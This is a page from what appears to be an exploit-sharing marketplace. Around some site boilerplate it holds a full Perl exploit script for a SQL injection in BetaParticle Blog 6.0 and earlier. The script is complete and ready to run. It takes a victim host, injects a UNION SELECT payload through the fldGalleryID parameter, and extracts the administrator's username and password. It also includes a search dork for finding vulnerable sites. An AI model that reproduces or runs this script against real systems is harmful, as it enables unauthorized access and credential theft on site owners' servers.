0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
BetaParticle Blog <= 6.0 (fldGalleryID) Remote SQL Injection Exploit
==================================================================== BetaParticle Blog <= 6.0 (fldGalleryID) Remote SQL Injection Exploit ==================================================================== #!/usr/bin/perl #Method found & Exploit scripted by nukedx #Usage: beta.pl <host> <path> #googledork: [ "Powered by bp blog" ] 9.710 pages.. use IO::Socket; if(@ARGV != 2) { usage(); } else { exploit(); } sub header() { print "\n- NukedX Security Advisory Nr.2006-20\r\n"; print "- BetaParticle Blog <= 6.0 Remote SQL Injection Vulnerability\r\n"; } sub usage() { header(); print "- Usage: $0 <host> <path>\r\n"; print "- <host> -> Victim's host ex: www.victim.com\r\n"; print "- <path> -> Path to BetaParticle ex: /blog\r\n"; exit(); } sub exploit () { #Our variables... $bpserver = $ARGV[0]; $bpserver =~ s/(http:\/\/)//eg; $bphost = "http://".$bpserver; $bpdir = $ARGV[1]; $bpport = "80"; $bptar = "template_gallery_detail.asp?fldGalleryID="; $bpfinal = "main.asp"; $bpxp = "-1+UNION+SELECT+null,fldAuthorUsername,fldAuthorPassword,null,null+FROM+tblAuthor+where+fldAuthorId=1"; $bpreq = $bphost.$bpdir.$bptar.$bpxp; #Sending data... header(); print "- Trying to connect: $bpserver\r\n"; $bp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$bpserver", PeerPort => "$bpport") || die "- Connection failed...\n"; print $bp "GET $bpreq HTTP/1.1\n"; print $bp "Accept: */*\n"; print $bp "Referer: $bphost\n"; print $bp "Accept-Language: tr\n"; print $bp "User-Agent: NukeZilla 4.3\n"; print $bp "Cache-Control: no-cache\n"; print $bp "Host: $bpserver\n"; print $bp "Connection: close\n\n"; print "- Connected...\r\n"; while ($answer = <$bp>) { if ($answer =~ /<h3>(.*?)<\/h3>/) { print "- Exploit succeed! Getting admin's information\r\n"; print "- Username: $1\r\n"; } if ($answer =~ /<p>(.*?)<\/p>/) { print "- Password: $1\r\n"; print "- Lets go $bphost$bpdir$bpfinal for admin login.\r\n"; exit(); } if ($answer =~ /number of columns/) { print "- This version of BetaParticle is vulnerable too\r\n"; print "- but default query of SQL-Inj. does not work on it\r\n"; print "- So please edit query by manually adding null data..\r\n"; exit(); } } print "- Exploit failed\n" } # 0day.today [2024-11-16] #